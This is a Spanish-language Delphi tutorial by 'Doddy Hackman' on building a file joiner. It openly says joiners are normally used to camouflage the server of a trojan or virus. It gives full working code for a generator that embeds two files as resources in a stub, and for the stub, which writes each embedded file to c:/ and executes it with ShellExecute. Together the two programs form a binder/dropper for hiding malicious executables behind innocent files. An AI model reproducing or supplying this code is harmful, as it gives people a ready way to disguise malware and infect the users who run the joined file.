[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner
-- =================--------
0x01 : Introduccion
Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.
¿ Que es un Joiner ?
Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.
¿ Que es un stub ?
El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.
0x02 : Creacion del generador
Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.
Una vez creado , creamos dos cajas edit y un boton como en la imagen :
Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.
Código
procedure TForm1.Button1Click(Sender: TObject); var archivo1: string; // Declaramos la variable archivo1 como string archivo2: string; // Declaramos la variable archivo2 como string uno: DWORD; // Declaramos la variable uno como dword tam: DWORD; // Declaramos la variable tam como dword dos: DWORD; // Declaramos la variable dos como dword tres: DWORD; // Declaramos la variable tres como dword todo: Pointer; // Declaramos la variable todo como pointer begin uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso end;
Una imagen del codigo comentado.
0x03 : Creacion del stub
Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :
Una vez hecho copiamos el siguiente codigo :
Código
program stub; uses Windows, ShellApi; // Cargamos los modulos necesarios function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall; // Empieza la funcion con los parametros var data: DWORD; // Declaramos como DWORD la variable data uno: DWORD; // Declaramos como DWORD la variable uno dos: DWORD; // Declaramos como DWORD la variable dos begin Result := True; // Retornamos true en la funcion data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data), dos, nil); // Escribimos en el archivo creado CloseHandle(uno); // Cerramos ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL); // Ejecutamos el archivo end; begin EnumResourceNames(0, RT_RCDATA, @start, 0); // Funcion para cargar los archivos del joiner end.
Una imagen del codigo comentado.
0x04 : Probando el Joiner
Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"
Primero cargamos el generador :
Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.
Eso es todo.
El manual esta disponible en PDF aca.
--========--
The End ?
--========--